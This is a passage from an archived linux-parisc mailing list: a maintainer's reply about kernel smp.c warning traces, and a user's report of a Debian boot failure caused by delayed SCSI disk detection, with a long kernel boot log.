Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.29-rc8: Badness at kernel/smp.c:329
Date: Mon, 30 Mar 2009 10:42:15 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <20090330144215.GA25856@bombadil.infradead.org>
References: <a4423d670903181027r5370c246x9aed7055403c1c28@mail.gmail.com> <a4423d670903300239j1f863aedkece7cf4c8e9bea93@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238424237 9309 80.91.229.12 (30 Mar 2009 14:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2009 14:43:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 30 16:45:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoIik-0005sF-LZ
	for glpp-linux-parisc@gmane.org; Mon, 30 Mar 2009 16:44:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755145AbZC3OmV convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 10:42:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753474AbZC3OmV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 10:42:21 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55495 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755145AbZC3OmU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 10:42:20 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LoIgq-0007R4-0t; Mon, 30 Mar 2009 14:42:16 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670903300239j1f863aedkece7cf4c8e9bea93@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1424>

On Mon, Mar 30, 2009 at 01:39:55PM +0400, Alexander Beregalov wrote:
> > =A0Freeing unused kernel memory: <0>------------[ cut here ]-------=
-----
> > =A0Badness at kernel/smp.c:329
> >
> > =A0 =A0 =A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > =A0PSW: 00000000000001001111011100001110 Not tainted
> > =A0r00-03 =A00004f70e 1058be90 101644f4 10547e90
> > =A0r04-07 =A0101004d8 00000000 104eb0e8 101004d8
> > =A0r08-11 =A000000000 00000001 10507548 105c3180
> > =A0r12-15 =A0ef821430 00000001 ef844090 1053e840
> > =A0r16-19 =A0104eae98 105c3180 10541bc0 105c4000
> > =A0r20-23 =A000000000 105c4000 00000000 00000001
> > =A0r24-27 =A000000000 101004d8 104eb0e8 104eae90
> > =A0r28-31 =A00000000e 00000000 ef8242c0 00800480
> > =A0sr00-03 =A000000000 00000000 00000000 00000000
> > =A0sr04-07 =A000000000 00000000 00000000 00000000
> >
> > =A0IASQ: 00000000 00000000 IAOQ: 101644c0 101644c4
> > =A0IIR: 03ffe01f =A0 =A0ISR: 1024037e =A0IOR: 09024260
> > =A0CPU: =A0 =A0 =A0 =A00 =A0 CR30: ef824000 CR31: 40002008
> > =A0ORIG_R28: 00000001
> > =A0IAOQ[0]: smp_call_function_many+0x2d4/0x2e0
> > =A0IAOQ[1]: smp_call_function_many+0x2d8/0x2e0
> > =A0RP(r2): smp_call_function+0x28/0x38
> > =A0Backtrace:
> > =A0[<101644f4>] smp_call_function+0x28/0x38
> > =A0[<105a4e90>] _einittext+0x0/0x10
> > =A0[<101644f4>] smp_call_function+0x28/0x38
> > =A0[<10142968>] on_each_cpu+0x1c/0x50
> > =A0[<10116e64>] free_initmem+0x60/0x1d0
> > =A0[<10116624>] init_post+0x1c/0x198
> >

this part is expected. (we sent an IPI with interrupts off...)

> > =A0------------[ cut here ]------------
> > =A0Badness at kernel/smp.c:226
> >
> > =A0 =A0 =A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > =A0PSW: 00000000000001001111111100001110 Tainted: G =A0 =A0 =A0 =A0=
W
> > =A0r00-03 =A00004ff0e 10507e90 101644f4 00000001
> > =A0r04-07 =A000000000 101004d8 00000000 105c4000
> > =A0r08-11 =A0105a4ea0 105a4e90 10507548 105c3180
> > =A0r12-15 =A0ef821430 00000001 ef844090 1053e840
> > =A0r16-19 =A0104eae98 105c3180 10541bc0 0000000e
> > =A0r20-23 =A000000002 104eb0e8 0000001e 00000001
> > =A0r24-27 =A000000000 101004d8 00000001 104eae90
> > =A0r28-31 =A0ef824000 00000000 ef8242c0 00000001
> > =A0sr00-03 =A000000000 00000000 00000000 00000000
> > =A0sr04-07 =A000000000 00000000 00000000 00000000
> >
> > =A0IASQ: 00000000 00000000 IAOQ: 10164138 1016413c
> > =A0IIR: 03ffe01f =A0 =A0ISR: 1024037e =A0IOR: 09024264
> > =A0CPU: =A0 =A0 =A0 =A00 =A0 CR30: ef824000 CR31: 40002008
> > =A0ORIG_R28: 00000001
> > =A0IAOQ[0]: smp_call_function_single+0xa0/0x154
> > =A0IAOQ[1]: smp_call_function_single+0xa4/0x154
> > =A0RP(r2): smp_call_function+0x28/0x38
> > =A0Backtrace:
> > =A0[<101644f4>] smp_call_function+0x28/0x38
> > =A0[<1016a6e0>] __irq_set_trigger+0xa4/0xdc
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> > =A0[<101642a8>] smp_call_function_many+0xbc/0x2e0
> >

this part is a bug.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AlesD <ales_d@seznam.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: delay in disc detection causes boot failure
Date: Mon, 30 Mar 2009 21:09:43 +0200
Lines: 656
Approved: news@gmane.org
Message-ID: <49D118F7.5040809@seznam.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-2; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238442324 16014 80.91.229.12 (30 Mar 2009 19:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Mar 2009 19:45:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 30 21:46:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoNRE-00053d-Vi
	for glpp-linux-parisc@gmane.org; Mon, 30 Mar 2009 21:46:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756264AbZC3Tos (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 15:44:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756986AbZC3Tos
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 15:44:48 -0400
Original-Received: from pc21.abak.cz ([217.11.246.21]:38027 "EHLO pc21.abak.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756476AbZC3Toq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 15:44:46 -0400
X-Greylist: delayed 2097 seconds by postgrey-1.27 at vger.kernel.org; Mon, 30 Mar 2009 15:44:45 EDT
Original-Received: from localhost (unassigned-81-90-251-128.ujezd.net [81.90.251.128] (may be forged))
	by pc21.abak.cz (8.13.1/8.13.1) with ESMTP id n2UJ9i54026207
	for <linux-parisc@vger.kernel.org>; Mon, 30 Mar 2009 21:09:44 +0200
Original-Received: from localhost.localdomain ([127.0.0.1] ident=ales)
	by localhost with esmtp (Exim 4.69)
	(envelope-from <ales_d@seznam.cz>)
	id 1LoMrg-0002YC-Hr
	for linux-parisc@vger.kernel.org; Mon, 30 Mar 2009 21:09:44 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1425
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1425>

Hello,

  I have installed HP-PA port of Debian 5.0 and got into following problem.

The root filesystem is on SW RAID. At the end of kernel initialization 
comes reset on SCSI bus. After this reset it takes about 6 seconds 
before the attached SCSI disks become "visible" and are detected by 
kernel. The initialization process however goes on and during this 6s it 
tries to assemble the MD device. Since the discs do not exist yet the 
assembly fails and root filesystem is not found. The init script waits 3 
minutes before giving up - which would normaly do the trick if the root 
was directly in one partition. With RAID (and LVM a top of it) the init 
ends with fiasco.

To overcome this I put simple "sleep 30" in the initram scripts - just 
before assembly of the MD device. I understand that this issue is more 
for Debian, but before reporting ther I'd like to ask here:
1) does anyone here know, why there is the reset/delay during boot, and
2) and if message "Driver 'sd' needs updating - please use bus_type 
methods" might have anything to do with this problem.

Thanks in advance Ales Dolecek

Mar 29 08:46:07 czapp005 kernel: imklog 3.18.6, log source = /proc/kmsg 
started.
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Initializing cgroup 
subsys cpu
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Linux version 
2.6.26-1-parisc (Debian 2.6.26-13lenny2) (dannf@debian.org) (gcc version 
4.1.3 20080704 (prerelease) (Debian 4.1.2-25)) #1 Tue Mar 17 13:15:40 
UTC 2009
Mar 29 08:46:07 czapp005 kernel: [    0.000000] FP[0] enabled: Rev 1 
Model 19
Mar 29 08:46:07 czapp005 kernel: [    0.000000] The 32-bit Kernel has 
started...
Mar 29 08:46:07 czapp005 kernel: [    0.000000] console [ttyB0] enabled
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Initialized PDC Console 
for debugging.
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Determining PDC firmware 
type: System Map.
Mar 29 08:46:07 czapp005 kernel: [    0.000000] model 00005dc0 00000481 
00000000 00000002 77d75e12 100000f0 00000008 000000b2 000000b2
Mar 29 08:46:07 czapp005 kernel: [    0.000000] vers  00000203
Mar 29 08:46:07 czapp005 kernel: [    0.000000] CPUID vers 19 rev 7 
(0x00000267)
Mar 29 08:46:07 czapp005 kernel: [    0.000000] capabilities 0x7
Mar 29 08:46:07 czapp005 kernel: [    0.000000] model 9000/785/C3700
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Total Memory: 1024 MB
Mar 29 08:46:07 czapp005 kernel: [    0.000000] initrd: 4f7eb000-4ffee560
Mar 29 08:46:07 czapp005 kernel: [    0.000000] initrd: reserving 
3f7eb000-3ffee560 (mem_max 40000000)
Mar 29 08:46:07 czapp005 kernel: [    0.000000] On node 0 totalpages: 262144
Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Normal zone: 2048 
pages used for memmap
Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Normal zone: 0 pages 
reserved
Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Normal zone: 260096 
pages, LIFO batch:31
Mar 29 08:46:07 czapp005 kernel: [    0.000000]   Movable zone: 0 pages 
used for memmap
Mar 29 08:46:07 czapp005 kernel: [    0.000000] LCD display at 
f05d0008,f05d0000 registered
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Built 1 zonelists in 
Zone order, mobility grouping on.  Total pages: 260096
Mar 29 08:46:07 czapp005 kernel: [    0.000000] Kernel command line: 
root=/dev/mapper/safe-system HOME=/ console=tty0 sti=10/6/2/0 
sti_font=VGA8x16 TERM=linux palo_kernel=3/vmlinux
Mar 29 08:46:07 czapp005 kernel: [    0.000000] PID hash table entries: 
4096 (order: 12, 16384 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179569.184000] Console: colour dummy 
device 160x64
Mar 29 08:46:07 czapp005 kernel: [17179569.192000] console handover: 
boot [ttyB0] -> real [tty0]
Mar 29 08:46:07 czapp005 kernel: [17179569.200000] Dentry cache hash 
table entries: 131072 (order: 7, 524288 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179569.200000] Inode-cache hash 
table entries: 65536 (order: 6, 262144 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000] Memory: 
1025664k/1048576k available (1961k kernel code, 22704k reserved, 882k 
data, 224k init)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000] virtual kernel memory 
layout:
Mar 29 08:46:07 czapp005 kernel: [17179569.248000]     vmalloc : 
0x00008000 - 0x0f000000   ( 239 MB)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000]     memory  : 
0x10000000 - 0x50000000   (1024 MB)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000]       .init : 
0x10410000 - 0x10448000   ( 224 kB)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000]       .data : 
0x102ea6c0 - 0x103c7000   ( 882 kB)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000]       .text : 
0x10100000 - 0x102ea6c0   (1961 kB)
Mar 29 08:46:07 czapp005 kernel: [17179569.248000] Calibrating delay 
loop... 1495.04 BogoMIPS (lpj=2990080)
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Security Framework 
initialized
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] SELinux:  Disabled at 
boot.
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Capability LSM 
initialized
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Mount-cache hash 
table entries: 512
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Initializing cgroup 
subsys ns
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Initializing cgroup 
subsys cpuacct
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Initializing cgroup 
subsys devices
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] net_namespace: 648 bytes
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] NET: Registered 
protocol family 16
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] EISA bus registered
Mar 29 08:46:07 czapp005 kernel: [17179569.340000] Searching for devices...
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] Found devices:
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 1. Astro BC Runway 
Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 2. Elroy PCI Bridge 
at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 3. Elroy PCI Bridge 
at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 4. Elroy PCI Bridge 
at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 5. Elroy PCI Bridge 
at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 6. Allegro W2 at 
0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] 7. Memory at 
0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
Mar 29 08:46:07 czapp005 kernel: [17179569.576000] Enabling regular 
chassis codes support v0.05
Mar 29 08:46:07 czapp005 kernel: [17179569.708000] CPU(s): 1 x PA8700 
(PCX-W2) at 750.000000 MHz
Mar 29 08:46:07 czapp005 kernel: [17179569.712000] Whole cache flush 
223757 cycles, flushing 3440640 bytes 702747 cycles
Mar 29 08:46:07 czapp005 kernel: [17179569.712000] Setting cache flush 
threshold to 600 (1 CPUs online)
Mar 29 08:46:07 czapp005 kernel: [17179569.736000] SBA found Astro 2.1 
at 0xfed00000
Mar 29 08:46:07 czapp005 kernel: [17179569.736000] Elroy version TR4.0 
(0x5) found at 0xfed30000
Mar 29 08:46:07 czapp005 kernel: [17179569.740000] PCI: Enabled native 
mode for NS87415 (pif=0x8f)
Mar 29 08:46:07 czapp005 kernel: [17179569.744000] Elroy version TR4.0 
(0x5) found at 0xfed32000
Mar 29 08:46:07 czapp005 kernel: [17179569.744000] Elroy version TR4.0 
(0x5) found at 0xfed38000
Mar 29 08:46:07 czapp005 kernel: [17179569.744000] Elroy version TR4.0 
(0x5) found at 0xfed3c000
Mar 29 08:46:07 czapp005 kernel: [17179569.744000] iosapic: hpa not 
registered for 0000:03:02.0
Mar 29 08:46:07 czapp005 kernel: [17179569.752000] powersw: Soft power 
switch at 0xf0400804 enabled.
Mar 29 08:46:07 czapp005 kernel: [17179569.768000] NET: Registered 
protocol family 2
Mar 29 08:46:07 czapp005 kernel: [17179569.804000] IP route cache hash 
table entries: 32768 (order: 5, 131072 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP established hash 
table entries: 131072 (order: 8, 1048576 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP bind hash table 
entries: 65536 (order: 6, 262144 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP: Hash tables 
configured (established 131072 bind 65536)
Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP reno registered
Mar 29 08:46:07 czapp005 kernel: [17179569.816000] NET: Registered 
protocol family 1
Mar 29 08:46:07 czapp005 kernel: [17179569.816000] checking if image is 
initramfs... it is
Mar 29 08:46:07 czapp005 kernel: [17179571.536000] Freeing initrd 
memory: 8205k freed
Mar 29 08:46:07 czapp005 kernel: [17179571.536000] Enabling PDC chassis 
warnings support v0.05
Mar 29 08:46:07 czapp005 kernel: [17179571.536000] unwind_init: start = 
0x1035de10, end = 0x103850e0, entries = 10029
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] audit: initializing 
netlink socket (disabled)
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] type=2000 
audit(1238309093.356:1): initialized
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] VFS: Disk quotas 
dquot_6.5.1
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] Dquot-cache hash 
table entries: 1024 (order 0, 4096 bytes)
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] msgmni has been set 
to 2019
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] Block layer SCSI 
generic (bsg) driver version 0.4 loaded (major 254)
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler noop 
registered
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler 
anticipatory registered
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler deadline 
registered
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler cfq 
registered (default)
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Found 
NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67)
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Serial port 
1 at 0x3f8
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Serial port 
2 at 0x2f8
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Parallel 
port at 0x378
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Floppy 
controller at 0x3f0
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: ACPI at 0x7e0
Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: USB 
regulator enabled
Mar 29 08:46:07 czapp005 kernel: [17179571.544000] PDC Stable Storage 
facility v0.30
Mar 29 08:46:07 czapp005 kernel: [17179571.872000] STI GSC/PCI core 
graphics driver Version 0.9a
Mar 29 08:46:07 czapp005 kernel: [17179571.872000] STI PCI graphic ROM 
found at f7000000 (2048 kB), fb at fa000000 (32 MB)
Mar 29 08:46:07 czapp005 kernel: [17179571.936000]     id 
35acda30-9a02587, conforms to spec rev. 8.0d
Mar 29 08:46:07 czapp005 kernel: [17179572.068000]     graphics card 
name: A1299B
Mar 29 08:46:07 czapp005 kernel: [17179572.068000] sticon: Initializing 
STI text console.
Mar 29 08:46:07 czapp005 kernel: [17179572.144000] Console: switching to 
colour STI console 128x48
Mar 29 08:46:07 czapp005 kernel: [17179572.224000] stifb: 'A1299B' (id: 
0x35acda30) not supported.
Mar 29 08:46:07 czapp005 kernel: [17179572.232000] Generic RTC Driver v1.07
Mar 29 08:46:07 czapp005 kernel: [17179572.236000] Serial: 8250/16550 
driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
Mar 29 08:46:07 czapp005 kernel: [17179572.240000] serial8250: ttyS0 at 
I/O 0x3f8 (irq = 3) is a 16550A
Mar 29 08:46:07 czapp005 kernel: [17179572.244000] serial8250: ttyS1 at 
I/O 0x2f8 (irq = 4) is a 16550A
Mar 29 08:46:07 czapp005 kernel: [17179572.252000] brd: module loaded
Mar 29 08:46:07 czapp005 kernel: [17179572.256000] mice: PS/2 mouse 
device common for all mice
Mar 29 08:46:07 czapp005 kernel: [17179572.264000] TCP cubic registered
Mar 29 08:46:07 czapp005 kernel: [17179572.268000] NET: Registered 
protocol family 17
Mar 29 08:46:07 czapp005 kernel: [17179572.272000] registered taskstats 
version 1
Mar 29 08:46:07 czapp005 kernel: [17179572.276000] Freeing unused kernel 
memory: 224k freed
Mar 29 08:46:07 czapp005 kernel: [17179572.792000] SCSI subsystem 
initialized
Mar 29 08:46:07 czapp005 kernel: [17179573.876000] Linux Tulip driver 
version 1.1.15-NAPI (Feb 27, 2007)
Mar 29 08:46:07 czapp005 kernel: [17179573.888000] tulip0: no phy info, 
aborting mtable build
Mar 29 08:46:07 czapp005 kernel: [17179573.892000] tulip0:  MII 
transceiver #1 config 1000 status 782d advertising 01e1.
Mar 29 08:46:07 czapp005 kernel: [17179573.904000] eth0: Digital 
DS21142/43 Tulip rev 65 at MMIO 0xf4008000, 00:30:6e:21:ac:1a, IRQ 65.
Mar 29 08:46:07 czapp005 kernel: [17179574.108000] usbcore: registered 
new interface driver usbfs
Mar 29 08:46:07 czapp005 kernel: [17179574.112000] usbcore: registered 
new interface driver hub
Mar 29 08:46:07 czapp005 kernel: [17179574.360000] sym0: <896> rev 0x7 
at pci 0000:00:0f.0 irq 68
Mar 29 08:46:07 czapp005 kernel: [17179574.376000] libata version 3.00 
loaded.
Mar 29 08:46:07 czapp005 kernel: [17179574.388000] usbcore: registered 
new device driver usb
Mar 29 08:46:07 czapp005 kernel: [17179574.400000] ohci_hcd: 2006 August 
04 USB 1.1 'Open' Host Controller (OHCI) Driver
Mar 29 08:46:07 czapp005 kernel: [17179574.400000] ohci_hcd: block 
sizes: ed 64 td 64
Mar 29 08:46:07 czapp005 kernel: [17179574.408000] sym0: PA-RISC 
Firmware, ID 7, Fast-40, SE, parity checking
Mar 29 08:46:07 czapp005 kernel: [17179574.416000] sym0: SCSI BUS has 
been reset.
Mar 29 08:46:07 czapp005 kernel: [17179574.424000] sym0: SCSI BUS mode 
change from SE to SE.
Mar 29 08:46:07 czapp005 kernel: [17179574.432000] sym0: SCSI BUS has 
been reset.
Mar 29 08:46:07 czapp005 kernel: [17179574.436000] scsi0 : sym-2.2.3
Mar 29 08:46:07 czapp005 kernel: [17179574.668000] sym1: <896> rev 0x7 
at pci 0000:00:0f.1 irq 68
Mar 29 08:46:07 czapp005 kernel: [17179574.676000] sym1: PA-RISC 
Firmware, ID 7, Fast-40, LVD, parity checking
Mar 29 08:46:07 czapp005 kernel: [17179574.680000] sym1: SCSI BUS has 
been reset.
Mar 29 08:46:07 czapp005 kernel: [17179574.692000] scsi1 : sym-2.2.3
Mar 29 08:46:07 czapp005 kernel: [17179574.700000] ohci_hcd 
0000:00:0e.2: OHCI Host Controller
Mar 29 08:46:07 czapp005 kernel: [17179574.704000] ohci_hcd 
0000:00:0e.2: new USB bus registered, assigned bus number 1
Mar 29 08:46:07 czapp005 kernel: [17179574.712000] ohci_hcd 
0000:00:0e.2: Using NSC SuperIO setup
Mar 29 08:46:07 czapp005 kernel: [17179574.712000] ohci_hcd 
0000:00:0e.2: created debug files
Mar 29 08:46:07 czapp005 kernel: [17179574.712000] ohci_hcd 
0000:00:0e.2: irq 1, io mem 0xf4007000
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: OHCI controller state
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: OHCI 1.0, NO legacy support registers
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: control 0x083 HCFS=operational CBSR=3
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: cmdstatus 0x00000 SOC=0
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: intrstatus 0x00000000
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: intrenable 0x8000001a MIE UE RD WDH
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: hcca frame #0000
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: roothub.a 00001003 POTPGT=0 NOCP NDP=3(3)
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: roothub.b 000e0000 PPCM=000e DR=0000
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: roothub.status 00008000 DRWE
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: roothub.portstatus [0] 0x00000100 PPS
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: roothub.portstatus [1] 0x00000100 PPS
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 
0000:00:0e.2: roothub.portstatus [2] 0x00000100 PPS
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: default 
language 0x0409
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: uevent
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: 
usb_probe_device
Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: 
configuration #1 chosen from 1 choice
Mar 29 08:46:07 czapp005 kernel: [17179574.776000] usb usb1: adding 
1-0:1.0 (config #1, interface 0)
Mar 29 08:46:07 czapp005 kernel: [17179574.776000] usb 1-0:1.0: uevent
Mar 29 08:46:07 czapp005 kernel: [17179574.776000] hub 1-0:1.0: 
usb_probe_interface
Mar 29 08:46:07 czapp005 kernel: [17179574.776000] hub 1-0:1.0: 
usb_probe_interface - got id
Mar 29 08:46:07 czapp005 kernel: [17179574.776000] hub 1-0:1.0: USB hub 
found
Mar 29 08:46:07 czapp005 kernel: [17179574.780000] hub 1-0:1.0: 3 ports 
detected
Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: 
standalone hub
Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: ganged 
power switching
Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: no 
over-current protection
Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: power on 
to power good time: 0ms
Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: local 
power source is good
Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: enabling 
power on all ports
Mar 29 08:46:07 czapp005 kernel: [17179574.888000] usb usb1: New USB 
